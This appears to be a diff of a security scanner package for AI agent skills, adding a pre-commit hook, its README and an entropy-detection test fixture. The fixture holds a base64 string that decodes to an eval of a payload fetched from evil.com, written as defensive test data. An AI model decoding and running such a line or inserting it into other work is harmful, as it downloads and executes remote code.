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"}
@@ -7,7 +7,7 @@ import { Server } from "@modelcontextprotocol/sdk/server/index.js";
7
7
  import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
8
8
  import { CallToolRequestSchema, ListToolsRequestSchema, } from "@modelcontextprotocol/sdk/types.js";
9
9
  import { scanSkill, scanAllSkills } from "./scanner.js";
10
- const VERSION = "0.3.0";
10
+ const VERSION = "0.5.0";
11
11
  /**
12
12
  * Create and configure the MCP server
13
13
  */
package/dist/scanner.js CHANGED
@@ -12,7 +12,7 @@ import { scanCode } from "./layers/code.js";
12
12
  import { scanCrossReference } from "./layers/crossref.js";
13
13
  import { calculateScore, determineStatus, generateRecommendation, } from "./scoring.js";
14
14
  import { detectMCPManifest, parseMCPManifest } from "./loaders/mcp-loader.js";
15
- const VERSION = "0.3.0";
15
+ const VERSION = "0.5.0";
16
16
  /**
17
17
  * Main scan function
18
18
  * Scans a skill directory or SKILL.md file
@@ -0,0 +1,104 @@
1
+ # AcidTest Git Hooks
2
+
3
+ Pre-commit hooks to automatically scan your skills/MCP servers for security issues before committing.
4
+
5
+ ## Pre-Commit Hook
6
+
7
+ Runs AcidTest before each commit to catch security issues early.
8
+
9
+ ### Installation
10
+
11
+ **Option 1: Copy directly**
12
+ ```bash
13
+ cp hooks/pre-commit .git/hooks/pre-commit
14
+ chmod +x .git/hooks/pre-commit
15
+ ```
16
+
17
+ **Option 2: Download from GitHub**
18
+ ```bash
19
+ curl -o .git/hooks/pre-commit https://raw.githubusercontent.com/currentlycurrently/acidtest/main/hooks/pre-commit
20
+ chmod +x .git/hooks/pre-commit
21
+ ```
22
+
23
+ **Option 3: Symlink (for development)**
24
+ ```bash
25
+ ln -s ../../hooks/pre-commit .git/hooks/pre-commit
26
+ ```
27
+
28
+ ### Behavior
29
+
30
+ The pre-commit hook will:
31
+ - ✅ Run AcidTest scan on your code
32
+ - ✅ Display score and status
33
+ - ✅ Show CRITICAL and HIGH severity findings
34
+ - ❌ **Block commits** on DANGER status
35
+ - ⚠️ **Warn** on FAIL status (doesn't block by default)
36
+ - ✅ **Pass** on WARN and PASS status
37
+
38
+ ### Configuration
39
+
40
+ To make the hook **block on FAIL status**, edit `.git/hooks/pre-commit` and uncomment this line:
41
+
42
+ ```bash
43
+ # exit 1 # <- Remove the # to block on FAIL
44
+ ```
45
+
46
+ ### Bypassing the Hook
47
+
48
+ If you need to bypass the pre-commit check (not recommended):
49
+
50
+ ```bash
51
+ git commit --no-verify
52
+ ```
53
+
54
+ ### Uninstalling
55
+
56
+ ```bash
57
+ rm .git/hooks/pre-commit
58
+ ```
59
+
60
+ ## Example Output
61
+
62
+ ### Clean commit (PASS)
63
+ ```
64
+ 🛡️ Running AcidTest security scan...
65
+
66
+ Score: 100/100
67
+ Status: PASS
68
+
69
+ ✅ Security scan passed
70
+ ```
71
+
72
+ ### Blocked commit (DANGER)
73
+ ```
74
+ 🛡️ Running AcidTest security scan...
75
+
76
+ Score: 0/100
77
+ Status: DANGER
78
+
79
+ Findings:
80
+ [CRITICAL] eval() usage detected: Found 2 eval() call(s)
81
+ [CRITICAL] instruction-override: Attempts to override agent instructions
82
+
83
+ ❌ Commit blocked: DANGER status detected
84
+ Fix critical security issues before committing
85
+
86
+ To bypass this check (NOT recommended):
87
+ git commit --no-verify
88
+ ```
89
+
90
+ ## Troubleshooting
91
+
92
+ **Hook doesn't run:**
93
+ - Ensure it's executable: `chmod +x .git/hooks/pre-commit`
94
+ - Verify it's in the right location: `.git/hooks/pre-commit`
95
+
96
+ **"acidtest not found" error:**
97
+ - The hook will automatically use `npx` if acidtest isn't globally installed
98
+ - Or install globally: `npm install -g acidtest`
99
+
100
+ **"jq: command not found" error:**
101
+ - Install jq:
102
+ - macOS: `brew install jq`
103
+ - Ubuntu: `sudo apt install jq`
104
+ - Or the hook will skip JSON parsing (still runs scan)
@@ -0,0 +1,74 @@
1
+ #!/bin/bash
2
+ # AcidTest Pre-Commit Hook
3
+ #
4
+ # Installation:
5
+ # 1. Copy this file to .git/hooks/pre-commit
6
+ # 2. Make it executable: chmod +x .git/hooks/pre-commit
7
+ #
8
+ # Or use this one-liner:
9
+ # curl -o .git/hooks/pre-commit https://raw.githubusercontent.com/currentlycurrently/acidtest/main/hooks/pre-commit && chmod +x .git/hooks/pre-commit
10
+ #
11
+ # This hook runs AcidTest before each commit to catch security issues early
12
+
13
+ set -e
14
+
15
+ echo "🛡️ Running AcidTest security scan..."
16
+
17
+ # Check if acidtest is installed
18
+ if ! command -v acidtest &> /dev/null; then
19
+ echo "⚠️ acidtest not found, using npx..."
20
+ ACIDTEST_CMD="npx -y acidtest@latest"
21
+ else
22
+ ACIDTEST_CMD="acidtest"
23
+ fi
24
+
25
+ # Run scan with JSON output
26
+ $ACIDTEST_CMD scan . --json > /tmp/acidtest-results.json 2>&1 || true
27
+
28
+ # Parse results
29
+ SCORE=$(jq -r '.score' /tmp/acidtest-results.json 2>/dev/null || echo "0")
30
+ STATUS=$(jq -r '.status' /tmp/acidtest-results.json 2>/dev/null || echo "UNKNOWN")
31
+
32
+ echo ""
33
+ echo "Score: $SCORE/100"
34
+ echo "Status: $STATUS"
35
+
36
+ # Display critical/high findings
37
+ CRITICAL_COUNT=$(jq '[.findings[] | select(.severity == "CRITICAL")] | length' /tmp/acidtest-results.json 2>/dev/null || echo "0")
38
+ HIGH_COUNT=$(jq '[.findings[] | select(.severity == "HIGH")] | length' /tmp/acidtest-results.json 2>/dev/null || echo "0")
39
+
40
+ if [ "$CRITICAL_COUNT" -gt 0 ] || [ "$HIGH_COUNT" -gt 0 ]; then
41
+ echo ""
42
+ echo "Findings:"
43
+ jq -r '.findings[] | select(.severity == "CRITICAL" or .severity == "HIGH") | " [\(.severity)] \(.title): \(.detail)"' /tmp/acidtest-results.json 2>/dev/null || true
44
+ fi
45
+
46
+ echo ""
47
+
48
+ # Decide whether to block commit
49
+ if [ "$STATUS" = "DANGER" ]; then
50
+ echo "❌ Commit blocked: DANGER status detected"
51
+ echo " Fix critical security issues before committing"
52
+ echo ""
53
+ echo " To bypass this check (NOT recommended):"
54
+ echo " git commit --no-verify"
55
+ exit 1
56
+ elif [ "$STATUS" = "FAIL" ]; then
57
+ echo "⚠️ Warning: FAIL status detected"
58
+ echo " Consider fixing security issues before committing"
59
+ echo ""
60
+ echo " To bypass this check:"
61
+ echo " git commit --no-verify"
62
+ # Uncomment the next line to block commits on FAIL status:
63
+ # exit 1
64
+ elif [ "$STATUS" = "WARN" ]; then
65
+ echo "⚠️ Warning: Security concerns detected (score: $SCORE)"
66
+ echo " Review findings before pushing"
67
+ else
68
+ echo "✅ Security scan passed"
69
+ fi
70
+
71
+ # Cleanup
72
+ rm -f /tmp/acidtest-results.json
73
+
74
+ exit 0
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "acidtest",
3
- "version": "0.3.0",
3
+ "version": "0.5.0",
4
4
  "type": "module",
5
5
  "description": "Security scanner for AI agent skills. Scan before you install.",
6
6
  "bin": {
@@ -14,7 +14,9 @@
14
14
  },
15
15
  "files": [
16
16
  "dist",
17
- "test-fixtures"
17
+ "test-fixtures",
18
+ ".github",
19
+ "hooks"
18
20
  ],
19
21
  "keywords": [
20
22
  "security",
@@ -0,0 +1,8 @@
1
+ ---
2
+ name: entropy-test
3
+ description: Test skill for entropy detection
4
+ ---
5
+
6
+ # Entropy Test Skill
7
+
8
+ This skill has high-entropy obfuscated strings for testing.
@@ -0,0 +1,19 @@
1
+ /**
2
+ * Test file with obfuscated high-entropy strings
3
+ */
4
+
5
+ // This is a normal string - low entropy
6
+ const greeting = "Hello, this is a normal message";
7
+
8
+ // This is a high-entropy obfuscated string (base64-like)
9
+ const obfuscatedPayload = "U2FsdGVkX1+gkxMjR3uK8vQz0pBz9YxM3Q5hNkR8Qw7X1ZpLmK4vT2sW8dF";
10
+
11
+ // Another high-entropy string (random characters)
12
+ const suspiciousData = "9xK3mP8qL2zN7vB4tY6wR1jC5hD0fG";
13
+
14
+ // Base64 encoded malicious code
15
+ const encodedCommand = "ZXZhbChhd2FpdCBmZXRjaCgnaHR0cHM6Ly9ldmlsLmNvbS9wYXlsb2FkLmpzJykudGhlbihyID0+IHIudGV4dCgpKSk=";
16
+
17
+ export async function run() {
18
+ console.log("Testing entropy detection");
19
+ }